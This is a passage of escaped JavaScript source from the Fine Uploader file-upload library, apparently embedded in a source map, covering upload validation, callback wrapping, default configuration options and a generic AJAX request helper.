arguments);\n\n            if (this._options.autoUpload) {\n                this._options.callbacks.onSubmitted.apply(this, arguments);\n                this._uploadFile(id);\n            }\n            else {\n                this._storeForLater(id);\n                this._options.callbacks.onSubmitted.apply(this, arguments);\n            }\n        },\n\n        _onSubmitDelete: function(id, onSuccessCallback, additionalMandatedParams) {\n            var uuid = this.getUuid(id),\n                adjustedOnSuccessCallback;\n\n            if (onSuccessCallback) {\n                adjustedOnSuccessCallback = qq.bind(onSuccessCallback, this, id, uuid, additionalMandatedParams);\n            }\n\n            if (this._isDeletePossible()) {\n                this._handleCheckedCallback({\n                    name: \"onSubmitDelete\",\n                    callback: qq.bind(this._options.callbacks.onSubmitDelete, this, id),\n                    onSuccess: adjustedOnSuccessCallback ||\n                        qq.bind(this._deleteHandler.sendDelete, this, id, uuid, additionalMandatedParams),\n                    identifier: id\n                });\n                return true;\n            }\n            else {\n                this.log(\"Delete request ignored for ID \" + id + \", delete feature is disabled or request not possible \" +\n                    \"due to CORS on a user agent that does not support pre-flighting.\", \"warn\");\n                return false;\n            }\n        },\n\n        _onSubmitted: function(id) {\n            //nothing to do in the base uploader\n        },\n\n        _onTotalProgress: function(loaded, total) {\n            this._options.callbacks.onTotalProgress(loaded, total);\n        },\n\n        _onUploadPrep: function(id) {\n            // nothing to do in the core uploader for now\n        },\n\n        _onUpload: function(id, name) {\n            this._uploadData.setStatus(id, qq.status.UPLOADING);\n        },\n\n        _onUploadChunk: function(id, chunkData) {\n            //nothing to do in the base uploader\n        },\n\n        _onUploadStatusChange: function(id, oldStatus, newStatus) {\n            // Make sure a \"queued\" retry attempt is canceled if the upload has been paused\n            if (newStatus === qq.status.PAUSED) {\n                clearTimeout(this._retryTimeouts[id]);\n            }\n        },\n\n        _onValidateBatchCallbackFailure: function(fileWrappers) {\n            var self = this;\n\n            qq.each(fileWrappers, function(idx, fileWrapper) {\n                self._fileOrBlobRejected(fileWrapper.id);\n            });\n        },\n\n        _onValidateBatchCallbackSuccess: function(validationDescriptors, items, params, endpoint, button) {\n            var errorMessage,\n                itemLimit = this._currentItemLimit,\n                proposedNetFilesUploadedOrQueued = this._netUploadedOrQueued;\n\n            if (itemLimit === 0 || proposedNetFilesUploadedOrQueued <= itemLimit) {\n                if (items.length > 0) {\n                    this._handleCheckedCallback({\n                        name: \"onValidate\",\n                        callback: qq.bind(this._options.callbacks.onValidate, this, validationDescriptors[0], button),\n                        onSuccess: qq.bind(this._onValidateCallbackSuccess, this, items, 0, params, endpoint),\n                        onFailure: qq.bind(this._onValidateCallbackFailure, this, items, 0, params, endpoint),\n                        identifier: \"Item '\" + items[0].file.name + \"', size: \" + items[0].file.size\n                    });\n                }\n                else {\n                    this._itemError(\"noFilesError\");\n                }\n            }\n            else {\n                this._onValidateBatchCallbackFailure(items);\n                errorMessage = this._options.messages.tooManyItemsError\n                    .replace(/\\{netItems\\}/g, proposedNetFilesUploadedOrQueued)\n                    .replace(/\\{itemLimit\\}/g, itemLimit);\n                this._batchError(errorMessage);\n            }\n        },\n\n        _onValidateCallbackFailure: function(items, index, params, endpoint) {\n            var nextIndex = index + 1;\n\n            this._fileOrBlobRejected(items[index].id, items[index].file.name);\n\n            this._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);\n        },\n\n        _onValidateCallbackSuccess: function(items, index, params, endpoint) {\n            var self = this,\n                nextIndex = index + 1,\n                validationDescriptor = this._getValidationDescriptor(items[index]);\n\n            this._validateFileOrBlobData(items[index], validationDescriptor)\n                .then(\n                function() {\n                    self._upload(items[index].id, params, endpoint);\n                    self._maybeProcessNextItemAfterOnValidateCallback(true, items, nextIndex, params, endpoint);\n                },\n                function() {\n                    self._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);\n                }\n            );\n        },\n\n        _prepareItemsForUpload: function(items, params, endpoint) {\n            if (items.length === 0) {\n                this._itemError(\"noFilesError\");\n                return;\n            }\n\n            var validationDescriptors = this._getValidationDescriptors(items),\n                buttonId = this._getButtonId(items[0].file),\n                button = this._getButton(buttonId);\n\n            this._handleCheckedCallback({\n                name: \"onValidateBatch\",\n                callback: qq.bind(this._options.callbacks.onValidateBatch, this, validationDescriptors, button),\n                onSuccess: qq.bind(this._onValidateBatchCallbackSuccess, this, validationDescriptors, items, params, endpoint, button),\n                onFailure: qq.bind(this._onValidateBatchCallbackFailure, this, items),\n                identifier: \"batch validation\"\n            });\n        },\n\n        _preventLeaveInProgress: function() {\n            var self = this;\n\n            this._disposeSupport.attach(window, \"beforeunload\", function(e) {\n                if (self.getInProgress()) {\n                    e = e || window.event;\n                    // for ie, ff\n                    e.returnValue = self._options.messages.onLeave;\n                    // for webkit\n                    return self._options.messages.onLeave;\n                }\n            });\n        },\n\n        // Attempts to refresh session data only if the `qq.Session` module exists\n        // and a session endpoint has been specified.  The `onSessionRequestComplete`\n        // callback will be invoked once the refresh is complete.\n        _refreshSessionData: function() {\n            var self = this,\n                options = this._options.session;\n\n            /* jshint eqnull:true */\n            if (qq.Session && this._options.session.endpoint != null) {\n                if (!this._session) {\n                    qq.extend(options, {cors: this._options.cors});\n\n                    options.log = qq.bind(this.log, this);\n                    options.addFileRecord = qq.bind(this._addCannedFile, this);\n\n                    this._session = new qq.Session(options);\n                }\n\n                setTimeout(function() {\n                    self._session.refresh().then(function(response, xhrOrXdr) {\n                        self._sessionRequestComplete();\n                        self._options.callbacks.onSessionRequestComplete(response, true, xhrOrXdr);\n\n                    }, function(response, xhrOrXdr) {\n\n                        self._options.callbacks.onSessionRequestComplete(response, false, xhrOrXdr);\n                    });\n                }, 0);\n            }\n        },\n\n        _sessionRequestComplete: function() {},\n\n        _setSize: function(id, newSize) {\n            this._uploadData.updateSize(id, newSize);\n            this._totalProgress && this._totalProgress.onNewSize(id);\n        },\n\n        _shouldAutoRetry: function(id, name, responseJSON) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            /*jshint laxbreak: true */\n            if (!this._preventRetries[id]\n                && this._options.retry.enableAuto\n                && uploadData.status !== qq.status.PAUSED) {\n\n                if (this._autoRetries[id] === undefined) {\n                    this._autoRetries[id] = 0;\n                }\n\n                if (this._autoRetries[id] < this._options.retry.maxAutoAttempts) {\n                    this._autoRetries[id] += 1;\n                    return true;\n                }\n            }\n\n            return false;\n        },\n\n        _storeForLater: function(id) {\n            this._storedIds.push(id);\n        },\n\n        // Maps a file with the button that was used to select it.\n        _trackButton: function(id) {\n            var buttonId;\n\n            if (qq.supportedFeatures.ajaxUploading) {\n                buttonId = this._handler.getFile(id).qqButtonId;\n            }\n            else {\n                buttonId = this._getButtonId(this._handler.getInput(id));\n            }\n\n            if (buttonId) {\n                this._buttonIdsForFileIds[id] = buttonId;\n            }\n        },\n\n        _updateFormSupportAndParams: function(formElementOrId) {\n            this._options.form.element = formElementOrId;\n\n            this._formSupport = qq.FormSupport && new qq.FormSupport(\n                    this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this)\n                );\n\n            if (this._formSupport && this._formSupport.attachedToForm) {\n                this._paramsStore.addReadOnly(null, this._formSupport.getFormInputsAsObject);\n\n                this._options.autoUpload = this._formSupport.newAutoUpload;\n                if (this._formSupport.newEndpoint) {\n                    this.setEndpoint(this._formSupport.newEndpoint);\n                }\n            }\n        },\n\n        _upload: function(id, params, endpoint) {\n            var name = this.getName(id);\n\n            if (params) {\n                this.setParams(params, id);\n            }\n\n            if (endpoint) {\n                this.setEndpoint(endpoint, id);\n            }\n\n            this._handleCheckedCallback({\n                name: \"onSubmit\",\n                callback: qq.bind(this._options.callbacks.onSubmit, this, id, name),\n                onSuccess: qq.bind(this._onSubmitCallbackSuccess, this, id, name),\n                onFailure: qq.bind(this._fileOrBlobRejected, this, id, name),\n                identifier: id\n            });\n        },\n\n        _uploadFile: function(id) {\n            if (!this._handler.upload(id)) {\n                this._uploadData.setStatus(id, qq.status.QUEUED);\n            }\n        },\n\n        _uploadStoredFiles: function() {\n            var idToUpload, stillSubmitting,\n                self = this;\n\n            while (this._storedIds.length) {\n                idToUpload = this._storedIds.shift();\n                this._uploadFile(idToUpload);\n            }\n\n            // If we are still waiting for some files to clear validation, attempt to upload these again in a bit\n            stillSubmitting = this.getUploads({status: qq.status.SUBMITTING}).length;\n            if (stillSubmitting) {\n                qq.log(\"Still waiting for \" + stillSubmitting + \" files to clear submit queue. Will re-parse stored IDs array shortly.\");\n                setTimeout(function() {\n                    self._uploadStoredFiles();\n                }, 1000);\n            }\n        },\n\n        /**\n         * Performs some internal validation checks on an item, defined in the `validation` option.\n         *\n         * @param fileWrapper Wrapper containing a `file` along with an `id`\n         * @param validationDescriptor Normalized information about the item (`size`, `name`).\n         * @returns qq.Promise with appropriate callbacks invoked depending on the validity of the file\n         * @private\n         */\n        _validateFileOrBlobData: function(fileWrapper, validationDescriptor) {\n            var self = this,\n                file = (function() {\n                    if (fileWrapper.file instanceof qq.BlobProxy) {\n                        return fileWrapper.file.referenceBlob;\n                    }\n                    return fileWrapper.file;\n                }()),\n                name = validationDescriptor.name,\n                size = validationDescriptor.size,\n                buttonId = this._getButtonId(fileWrapper.file),\n                validationBase = this._getValidationBase(buttonId),\n                validityChecker = new qq.Promise();\n\n            validityChecker.then(\n                function() {},\n                function() {\n                    self._fileOrBlobRejected(fileWrapper.id, name);\n                });\n\n            if (qq.isFileOrInput(file) && !this._isAllowedExtension(validationBase.allowedExtensions, name)) {\n                this._itemError(\"typeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size === 0) {\n                this._itemError(\"emptyError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size > 0 && validationBase.sizeLimit && size > validationBase.sizeLimit) {\n                this._itemError(\"sizeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size > 0 && size < validationBase.minSizeLimit) {\n                this._itemError(\"minSizeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (qq.ImageValidation && qq.supportedFeatures.imagePreviews && qq.isFile(file)) {\n                new qq.ImageValidation(file, qq.bind(self.log, self)).validate(validationBase.image).then(\n                    validityChecker.success,\n                    function(errorCode) {\n                        self._itemError(errorCode + \"ImageError\", name, file);\n                        validityChecker.failure();\n                    }\n                );\n            }\n            else {\n                validityChecker.success();\n            }\n\n            return validityChecker;\n        },\n\n        _wrapCallbacks: function() {\n            var self, safeCallback, prop;\n\n            self = this;\n\n            safeCallback = function(name, callback, args) {\n                var errorMsg;\n\n                try {\n                    return callback.apply(self, args);\n                }\n                catch (exception) {\n                    errorMsg = exception.message || exception.toString();\n                    self.log(\"Caught exception in '\" + name + \"' callback - \" + errorMsg, \"error\");\n                }\n            };\n\n            /* jshint forin: false, loopfunc: true */\n            for (prop in this._options.callbacks) {\n                (function() {\n                    var callbackName, callbackFunc;\n                    callbackName = prop;\n                    callbackFunc = self._options.callbacks[callbackName];\n                    self._options.callbacks[callbackName] = function() {\n                        return safeCallback(callbackName, callbackFunc, arguments);\n                    };\n                }());\n            }\n        }\n    };\n}());\n","/*globals qq*/\n(function() {\n    \"use strict\";\n\n    qq.FineUploaderBasic = function(o) {\n        var self = this;\n\n        // These options define FineUploaderBasic mode.\n        this._options = {\n            debug: false,\n            button: null,\n            multiple: true,\n            maxConnections: 3,\n            disableCancelForFormUploads: false,\n            autoUpload: true,\n\n            request: {\n                customHeaders: {},\n                endpoint: \"/server/upload\",\n                filenameParam: \"qqfilename\",\n                forceMultipart: true,\n                inputName: \"qqfile\",\n                method: \"POST\",\n                params: {},\n                paramsInBody: true,\n                totalFileSizeName: \"qqtotalfilesize\",\n                uuidName: \"qquuid\"\n            },\n\n            validation: {\n                allowedExtensions: [],\n                sizeLimit: 0,\n                minSizeLimit: 0,\n                itemLimit: 0,\n                stopOnFirstInvalidFile: true,\n                acceptFiles: null,\n                image: {\n                    maxHeight: 0,\n                    maxWidth: 0,\n                    minHeight: 0,\n                    minWidth: 0\n                }\n            },\n\n            callbacks: {\n                onSubmit: function(id, name) {},\n                onSubmitted: function(id, name) {},\n                onComplete: function(id, name, responseJSON, maybeXhr) {},\n                onAllComplete: function(successful, failed) {},\n                onCancel: function(id, name) {},\n                onUpload: function(id, name) {},\n                onUploadChunk: function(id, name, chunkData) {},\n                onUploadChunkSuccess: function(id, chunkData, responseJSON, xhr) {},\n                onResume: function(id, fileName, chunkData) {},\n                onProgress: function(id, name, loaded, total) {},\n                onTotalProgress: function(loaded, total) {},\n                onError: function(id, name, reason, maybeXhrOrXdr) {},\n                onAutoRetry: function(id, name, attemptNumber) {},\n                onManualRetry: function(id, name) {},\n                onValidateBatch: function(fileOrBlobData) {},\n                onValidate: function(fileOrBlobData) {},\n                onSubmitDelete: function(id) {},\n                onDelete: function(id) {},\n                onDeleteComplete: function(id, xhrOrXdr, isError) {},\n                onPasteReceived: function(blob) {},\n                onStatusChange: function(id, oldStatus, newStatus) {},\n                onSessionRequestComplete: function(response, success, xhrOrXdr) {}\n            },\n\n            messages: {\n                typeError: \"{file} has an invalid extension. Valid extension(s): {extensions}.\",\n                sizeError: \"{file} is too large, maximum file size is {sizeLimit}.\",\n                minSizeError: \"{file} is too small, minimum file size is {minSizeLimit}.\",\n                emptyError: \"{file} is empty, please select files again without it.\",\n                noFilesError: \"No files to upload.\",\n                tooManyItemsError: \"Too many items ({netItems}) would be uploaded.  Item limit is {itemLimit}.\",\n                maxHeightImageError: \"Image is too tall.\",\n                maxWidthImageError: \"Image is too wide.\",\n                minHeightImageError: \"Image is not tall enough.\",\n                minWidthImageError: \"Image is not wide enough.\",\n                retryFailTooManyItems: \"Retry failed - you have reached your file limit.\",\n                onLeave: \"The files are being uploaded, if you leave now the upload will be canceled.\",\n                unsupportedBrowserIos8Safari: \"Unrecoverable error - this browser does not permit file uploading of any kind due to serious bugs in iOS8 Safari.  Please use iOS8 Chrome until Apple fixes these issues.\"\n            },\n\n            retry: {\n                enableAuto: false,\n                maxAutoAttempts: 3,\n                autoAttemptDelay: 5,\n                preventRetryResponseProperty: \"preventRetry\"\n            },\n\n            classes: {\n                buttonHover: \"qq-upload-button-hover\",\n                buttonFocus: \"qq-upload-button-focus\"\n            },\n\n            chunking: {\n                enabled: false,\n                concurrent: {\n                    enabled: false\n                },\n                mandatory: false,\n                paramNames: {\n                    partIndex: \"qqpartindex\",\n                    partByteOffset: \"qqpartbyteoffset\",\n                    chunkSize: \"qqchunksize\",\n                    totalFileSize: \"qqtotalfilesize\",\n                    totalParts: \"qqtotalparts\"\n                },\n                partSize: 2000000,\n                // only relevant for traditional endpoints, only required when concurrent.enabled === true\n                success: {\n                    endpoint: null\n                }\n            },\n\n            resume: {\n                enabled: false,\n                recordsExpireIn: 7, //days\n                paramNames: {\n                    resuming: \"qqresume\"\n                }\n            },\n\n            formatFileName: function(fileOrBlobName) {\n                return fileOrBlobName;\n            },\n\n            text: {\n                defaultResponseError: \"Upload failure reason unknown\",\n                fileInputTitle: \"file input\",\n                sizeSymbols: [\"kB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\"]\n            },\n\n            deleteFile: {\n                enabled: false,\n                method: \"DELETE\",\n                endpoint: \"/server/upload\",\n                customHeaders: {},\n                params: {}\n            },\n\n            cors: {\n                expected: false,\n                sendCredentials: false,\n                allowXdr: false\n            },\n\n            blobs: {\n                defaultName: \"misc_data\"\n            },\n\n            paste: {\n                targetElement: null,\n                defaultName: \"pasted_image\"\n            },\n\n            camera: {\n                ios: false,\n\n                // if ios is true: button is null means target the default button, otherwise target the button specified\n                button: null\n            },\n\n            // This refers to additional upload buttons to be handled by Fine Uploader.\n            // Each element is an object, containing `element` as the only required\n            // property.  The `element` must be a container that will ultimately\n            // contain an invisible `<input type=\"file\">` created by Fine Uploader.\n            // Optional properties of each object include `multiple`, `validation`,\n            // and `folders`.\n            extraButtons: [],\n\n            // Depends on the session module.  Used to query the server for an initial file list\n            // during initialization and optionally after a `reset`.\n            session: {\n                endpoint: null,\n                params: {},\n                customHeaders: {},\n                refreshOnReset: true\n            },\n\n            // Send parameters associated with an existing form along with the files\n            form: {\n                // Element ID, HTMLElement, or null\n                element: \"qq-form\",\n\n                // Overrides the base `autoUpload`, unless `element` is null.\n                autoUpload: false,\n\n                // true = upload files on form submission (and squelch submit event)\n                interceptSubmit: true\n            },\n\n            // scale images client side, upload a new file for each scaled version\n            scaling: {\n                customResizer: null,\n\n                // send the original file as well\n                sendOriginal: true,\n\n                // fox orientation for scaled images\n                orient: true,\n\n                // If null, scaled image type will match reference image type.  This value will be referred to\n                // for any size record that does not specific a type.\n                defaultType: null,\n\n                defaultQuality: 80,\n\n                failureText: \"Failed to scale\",\n\n                includeExif: false,\n\n                // metadata about each requested scaled version\n                sizes: []\n            },\n\n            workarounds: {\n                iosEmptyVideos: true,\n                ios8SafariUploads: true,\n                ios8BrowserCrash: false\n            }\n        };\n\n        // Replace any default options with user defined ones\n        qq.extend(this._options, o, true);\n\n        this._buttons = [];\n        this._extraButtonSpecs = {};\n        this._buttonIdsForFileIds = [];\n\n        this._wrapCallbacks();\n        this._disposeSupport =  new qq.DisposeSupport();\n\n        this._storedIds = [];\n        this._autoRetries = [];\n        this._retryTimeouts = [];\n        this._preventRetries = [];\n        this._thumbnailUrls = [];\n\n        this._netUploadedOrQueued = 0;\n        this._netUploaded = 0;\n        this._uploadData = this._createUploadDataTracker();\n\n        this._initFormSupportAndParams();\n\n        this._customHeadersStore = this._createStore(this._options.request.customHeaders);\n        this._deleteFileCustomHeadersStore = this._createStore(this._options.deleteFile.customHeaders);\n\n        this._deleteFileParamsStore = this._createStore(this._options.deleteFile.params);\n\n        this._endpointStore = this._createStore(this._options.request.endpoint);\n        this._deleteFileEndpointStore = this._createStore(this._options.deleteFile.endpoint);\n\n        this._handler = this._createUploadHandler();\n\n        this._deleteHandler = qq.DeleteFileAjaxRequester && this._createDeleteHandler();\n\n        if (this._options.button) {\n            this._defaultButtonId = this._createUploadButton({\n                element: this._options.button,\n                title: this._options.text.fileInputTitle\n            }).getButtonId();\n        }\n\n        this._generateExtraButtonSpecs();\n\n        this._handleCameraAccess();\n\n        if (this._options.paste.targetElement) {\n            if (qq.PasteSupport) {\n                this._pasteHandler = this._createPasteHandler();\n            }\n            else {\n                this.log(\"Paste support module not found\", \"error\");\n            }\n        }\n\n        this._preventLeaveInProgress();\n\n        this._imageGenerator = qq.ImageGenerator && new qq.ImageGenerator(qq.bind(this.log, this));\n        this._refreshSessionData();\n\n        this._succeededSinceLastAllComplete = [];\n        this._failedSinceLastAllComplete = [];\n\n        this._scaler = (qq.Scaler && new qq.Scaler(this._options.scaling, qq.bind(this.log, this))) || {};\n        if (this._scaler.enabled) {\n            this._customNewFileHandler = qq.bind(this._scaler.handleNewFile, this._scaler);\n        }\n\n        if (qq.TotalProgress && qq.supportedFeatures.progressBar) {\n            this._totalProgress = new qq.TotalProgress(\n                qq.bind(this._onTotalProgress, this),\n\n                function(id) {\n                    var entry = self._uploadData.retrieve({id: id});\n                    return (entry && entry.size) || 0;\n                }\n            );\n        }\n\n        this._currentItemLimit = this._options.validation.itemLimit;\n    };\n\n    // Define the private & public API methods.\n    qq.FineUploaderBasic.prototype = qq.basePublicApi;\n    qq.extend(qq.FineUploaderBasic.prototype, qq.basePrivateApi);\n}());\n","/*globals qq, XDomainRequest*/\n/** Generic class for sending non-upload ajax requests and handling the associated responses **/\nqq.AjaxRequester = function(o) {\n    \"use strict\";\n\n    var log, shouldParamsBeInQueryString,\n        queue = [],\n        requestData = {},\n        options = {\n            acceptHeader: null,\n            validMethods: [\"PATCH\", \"POST\", \"PUT\"],\n            method: \"POST\",\n            contentType: \"application/x-www-form-urlencoded\",\n            maxConnections: 3,\n            customHeaders: {},\n            endpointStore: {},\n            paramsStore: {},\n            mandatedParams: {},\n            allowXRequestedWithAndCacheControl: true,\n            successfulResponseCodes: {\n                DELETE: [200, 202, 204],\n                PATCH: [200, 201, 202, 203, 204],\n                POST: [200, 201, 202, 203, 204],\n                PUT: [200, 201, 202, 203, 204],\n                GET: [200]\n            },\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            log: function(str, level) {},\n            onSend: function(id) {},\n            onComplete: function(id, xhrOrXdr, isError) {},\n            onProgress: null\n        };\n\n    qq.extend(options, o);\n    log = options.log;\n\n    if (qq.indexOf(options.validMethods, options.method) < 0) {\n        throw new Error(\"'\" + options.method + \"' is not a supported method for this type of request!\");\n    }\n\n    // [Simple methods](http://www.w3.org/TR/cors/#simple-method)\n    // are defined by the W3C in the CORS spec as a list of methods that, in part,\n    // make a CORS request eligible to be exempt from preflighting.\n    function isSimpleMethod() {\n        return qq.indexOf([\"GET\", \"POST\", \"HEAD\"], options.method) >= 0;\n    }\n\n    // [Simple headers](http://www.w3.org/TR/cors/#simple-header)\n    // are defined by the W3C in the CORS spec as a list of headers that, in part,\n    // make a CORS request eligible to be exempt from preflighting.\n    function containsNonSimpleHeaders(headers) {\n        var containsNonSimple = false;\n\n        qq.each(containsNonSimple, function(idx, header) {\n            if (qq.indexOf([\"Accept\", \"Accept-Language\", \"Content-Language\", \"Content-Type\"], header) < 0) {\n                containsNonSimple = true;\n                return false;\n            }\n        });\n\n        return containsNonSimple;\n    }\n\n    function isXdr(xhr) {\n        //The `withCredentials` test is a commonly accepted way to determine if XHR supports CORS.\n        return options.cors.expected && xhr.withCredentials === undefined;\n    }\n\n    // Returns either a new `XMLHttpRequest` or `XDomainRequest` instance.\n    function getCorsAjaxTransport() {\n        var xhrOrXdr;\n\n        if (window.XMLHttpRequest || window.ActiveXObject) {\n            xhrOrXdr = qq.createXhrInstance();\n\n            if (xhrOrXdr.withCredentials === undefined) {\n                xhrOrXdr = new XDomainRequest();\n                // Workaround for XDR bug in IE9 - https://social.msdn.microsoft.com/Forums/ie/en-US/30ef3add-767c-4436-b8a9-f1ca19b4812e/ie9-rtm-xdomainrequest-issued-requests-may-abort-if-all-event-handlers-not-specified?forum=iewebdevelopment\n                xhrOrXdr.onload = function() {};\n                xhrOrXdr.onerror = function() {};\n                xhrOrXdr.ontimeout = function() {};\n                xhrOrXdr.onprogress = function() {};\n            }\n        }\n\n        return xhrOrXdr;\n    }\n\n    // Returns either a new XHR/XDR instance, or an existing one for the associated `File` or `Blob`.\n    function getXhrOrXdr(id, suppliedXhr) {\n        var xhrOrXdr = requestData[id].xhr;\n\n        if (!xhrOrXdr) {\n            if (suppliedXhr) {\n                xhrOrXdr = suppliedXhr;\n            }\n            else {\n                if (options.cors.expected) {\n                    xhrOrXdr = getCorsAjaxTransport();\n                }\n                else {\n                    xhrOrXdr = qq.createXhrInstance();\n                }\n            }\n\n            requestData[id].xhr = xhrOrXdr;\n        }\n\n        return xhrOrXdr;\n    }\n\n    // Removes element from queue, sends next request\n    function dequeue(id) {\n        var i = qq.indexOf(queue, id),\n            max = options.maxConnections,\n            nextId;\n\n        delete requestData[id];\n        queue.splice(i, 1);\n\n        if (queue.length >= max && i < max) {\n            nextId = queue[max - 1];\n            sendRequest(nextId);\n        }\n    }\n\n    function onComplete(id, xdrError) {\n        var xhr = getXhrOrXdr(id),\n            method = options.method,\n            isError = xdrError === true;\n\n        dequeue(id);\n\n        if (isError) {\n            log(method + \" request for \" + id + \" has failed\", \"error\");\n        }\n        else if (!isXdr(xhr) && !isResponseSuccessful(xhr.status)) {\n            isError = true;\n            log(method + \" request for \" + id + \" has failed - response code \" + xhr.status, \"error\");\n        }\n\n        options.onComplete(id, xhr, isError);\n    }\n\n    function getParams(id) {\n        var onDemandParams = requestData[id].additionalParams,\n            mandatedParams = options.mandatedParams,\n            params;\n\n        if (options.paramsStore.get) {\n            params = options.paramsStore.get(id);\n        }\n\n        if (onDemandParams) {\n            qq.each(onDemandParams, function(name, val) {\n                params = params || {};\n                params[name] = val;\n            });\n        }\n\n        if (mandatedParams) {\n            qq.each(mandatedParams, function(name, val) {\n                params = params || {};\n                params[name] = val;\n            });\n        }\n\n        return params;\n    }\n\n    function sendRequest(id, optXhr) {\n        var xhr = getXhrOrXdr(id, optXhr),\n            method = options.method,\n            params = getParams(id),\n            payload = requestData[id].payload,\n            url;\n\n        options.onSend(id);\n\n        url = createUrl(id, params, requestData[id].additionalQueryParams);\n\n        // XDR and XHR status detection APIs differ a bit.\n        if (isXdr(xhr)) {\n            xhr.onload = getXdrLoadHandler(id);\n            xhr.onerror = getXdrErrorHandler(id);\n        }\n        else {\n            xhr.onreadystatechange = getXhrReadyStateChangeHandler(id);\n        }\n\n        registerForUploadProgress(id);\n\n        // The last parameter is assumed to be ignored if we are actually using `XDomainRequest`.\n        xhr.open(method, url, true);\n\n        // Instruct the transport to send cookies along with the CORS request,\n        // unless we are using `XDomainRequest`, which is not capable of this.\n        if (options.cors.expected && options.cors.sendCredentials && !isXdr(xhr)) {\n            xhr.withCredentials = true;\n        }\n\n        setHeaders(id);\n\n        log(\"Sending \" + method + \" request for \" + id);\n\n        if (payload) {\n            xhr.send(payload);\n        }\n        else if (shouldParamsBeInQueryString || !params) {\n            xhr.send();\n        }\n        else if (params && options.contentType && options.contentType.toLowerCase().indexOf(\"application/x-www-form-urlencoded\") >= 0) {\n            xhr.send(qq.obj2url(params, \"\"));\n        }\n        else if (params && options.contentType && options.contentType.toLowerCase().indexOf(\"application/json\") >= 0) {\n            xhr.send(JSON.stringify(params));\n        }\n        else {\n            xhr.send(params);\n        }\n\n        return xhr;\n    }\n\n    function createUrl(id, params, additionalQueryParams) {\n        var endpoint = options.endpointStore.get(id),\n            addToPath = requestData[id].addToPath;\n\n        /*jshint -W116,-W041 */\n        if (addToPath != undefined) {\n            endpoint += \"/\" + addToPath;\n        }\n\n        if (shouldParamsBeInQueryString && params) {\n            endpoint = qq.obj2url(params, endpoint);\n        }\n\n        if (additionalQueryParams) {\n            endpoint = qq.obj2url(additionalQueryParams, endpoint);\n        }\n\n        return endpoint;\n    }\n\n    // Invoked by the UA to indicate a number of possible states that describe\n    // a live `XMLHttpRequest` transport.\n    function getXhrReadyStateChangeHandler(id) {\n        return function() {\n            if (getXhrOrXdr(id).readyState === 4) {\n                onComplete(id);\n            }\n        };\n    }\n\n    function registerForUploadProgress(id) {\n        var onProgress = options.onProgress;\n\n        if (onProgress) {\n            getXhrOrXdr(id).upload.onprogress = function(e) {\n                if (e.lengthComputable) {\n                    onProgress(id, e.loaded, e.total);\n                }\n            };\n        }\n    }\n\n    // This will be called by IE to indicate **success** for an associated\n    // `XDomainRequest` transported request.\n    function getXdrLoadHandler(id) {\n        return function() {\n            onComplete(id);\n        };\n    }\n\n    // This will be called by IE to indicate **failure** for an associated\n    // `XDomainRequest` transported request.\n    function getXdrErrorHandler(id) {\n        return function() {\n            onComplete(id, true);\n        };\n    }\n\n    function setHeaders(id) {\n        var xhr = getXhrOrXdr(id),\n            customHeaders = options.customHeaders,\n            onDemandHeaders = requestData[id].additionalHeaders || {},\n            method = options.method,\n            allHeaders = {};\n\n        // If XDomainRequest is being used, we can't set headers, so just ignore this block.\n        if (!isXdr(xhr)) {\n            options.acceptHeader && xhr.setRequestHeader(\"Accept\", options.acceptHeader);\n\n            // Only attempt to add X-Requested-With & Cache-Control if permitted\n            if (options.allowXRequestedWithAndCacheControl) {\n                // Do not add X-Requested-With & Cache-Control if this is a cross-origin request\n                // OR the cross-origin request contains a non-simple method or header.\n                // This is done to ensure a preflight is not triggered exclusively based on the\n                // addition of these 2 non-simple headers.\n                if (!options.cors.expected || (!isSimpleMethod() || containsNonSimpleHeaders(customHeaders))) {\n                    xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n                    xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n                }\n            }\n\n            if (options.contentType && (method === \"POST\" || method === \"PUT\")) {\n                xhr.setRequestHeader(\"Content-Type\", options.contentType);\n            }\n\n            qq.extend(allHeaders, qq.isFunction(customHeaders) ? customHeaders(id) : customHeaders);\n            qq.extend(allHeaders, onDemandHeaders);\n\n            qq.each(allHeaders, function(name, val) {\n                xhr.setRequestHeader(name, val);\n            });\n        }\n    }\n\n    function isResponseSuccessful(responseCode) {\n        return qq.indexOf(options.successfulResponseCodes[options.method], responseCode) >= 0;\n    }\n\n    function prepareToSend(id, optXhr, addToPath, additionalParams, additionalQueryParams, additionalHeaders, payload) {\n        requestData[id] = {\n            addToPath: addToPath,\n            additionalParams: additionalParams,\n            additionalQueryParams: additionalQueryParams,\n            additionalHeaders: additionalHeaders,\n            payload: payload\n        };\n\n        var len = queue.push(id);\n\n        // if too many active connections, wait...\n        if (len <= options.maxConnections) {\n            return sendRequest(id, optXhr);\n        }\n    }\n\n    shouldParamsBeInQueryString = options.method === \"GET\" || options.method === \"DELETE\";\n\n    qq.extend(this, {\n        // Start the process of sending the request.  The ID refers to the file associated with the request.\n        initTransport: function(id) {\n            var path, params, headers, payload, cacheBuster, additionalQueryParams;\n\n            return {\n                // Optionally specify the end of the endpoint path for the request.\n                withPath: function(appendToPath) {\n                    path = appendToPath;\n                    return this;\n                },\n\n                // Optionally specify additional parameters to send along with the request.\n                // These will be added to the query string for GET/DELETE requests or the payload\n                // for POST/PUT requests.  The Content-Type of the request will be used to determine\n                // how these parameters should be formatted as well.\n                withParams: function(additionalParams) {\n                    params = additionalParams;\n                    return this;\n                },\n\n                withQueryParams: function(_additionalQueryParams_) {\n                    additionalQueryParams = _additionalQueryParams_;\n                    return this;\n                },\n\n                // Optionally specify additional headers to send along with the request.\n                withHeaders: function(additionalHeaders) {\n                    headers = additionalHeaders;\n                    return this;\n                },\n\n                // Optionally specify a payload/body for the request.\n                withPayload: function(thePayload) {\n                    payload = thePayload;\n                    return this;\n                },\n\n                // Appends a cache buster (timestamp) to the request URL as a query parameter (only if GET or DELETE)\n                withCacheBuster: function() {\n                    cacheBuster = true;\n                    return this;\n                },\n\n                // 